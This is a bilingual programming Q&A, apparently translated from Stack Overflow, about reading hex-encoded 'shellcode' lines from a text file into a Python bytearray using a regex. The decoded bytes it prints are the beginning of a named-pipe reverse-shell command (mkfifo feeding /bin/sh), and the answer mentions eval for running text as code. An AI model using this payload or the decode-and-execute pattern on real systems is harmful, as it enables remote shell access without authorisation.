我想执行文本文件的行,就好像它们是我的 python 脚本的一部分一样

I want to execute lines of a text file as if they were part of my python script

我有一个包含 shellcode 的文本文件,如下所示:

buf += b"\x6d\x6b\x66\x69\x66\x6f\x20\x2f\x74\x6d\x70\x2f\x73"
buf += b"\x35\x35\x20\x30\x3c\x2f\x74\x6d\x70\x2f\x73\x61\x6b"
buf += b"\x6e\x20\x7c\x20\x2f\x62\x69\x6e\x2f\x73\x68\x20\x3e" 

我想使用自动读取此 shellcode 并将其归因于我的 python 脚本中的变量以使用它。 我写了一个看起来像这样的脚本

myfile = open("shellcode.txt","rt")
a = myfile.read()
myfile.close()
a = a.replace('buf += b"','')
a = a.replace('buf =  b""','')
a = a.replace('"','')
a = a.replace(' ','')
a = a.replace('\n','')
buf =""
buf = str.encode(a)

读取文件的内容,去除我不需要的字符,只留下我需要的原始 shellcode 并将其转换为字节。

我也试过 bytes , bytearray , buf += b"%s"%(a)

所以每当我打印 buf 时,它都会按原样输出 shellcode,但是当我复制 shellcode.txt 的内容并将其粘贴到 python 脚本和 print(buf) 时,它会打印解码的shellcode 的版本。

所以如果这个方法不起作用,我可以读取文件并执行它的每一行,就好像它是脚本的一部分一样吗?

这是使用正则表达式提取字节值的建议。 regex101 是玩正则表达式和调试它们的好地方。

import re

BYTE_REGEX = r"\x([\w|\d]{2})" # extract bytes from string, without leading `\x`
# regex101.com is very good reference to analyse regex patterns

# retrieve text
with open('shellcode.txt', 'r') as f:
    file_text = f.read()

buf_list = []
for byte in re.findall(BYTE_REGEX, file_text):
    # scan string and treat all bytes one by one
    buf_list.append(int(byte, base=16))

result = bytearray(buf_list)

print(result)
# mkfifo /tmp/s55 0</tmp/sakn | /bin/sh >

还有一些机制可以执行作为文本给出的 python 代码,请参阅 eval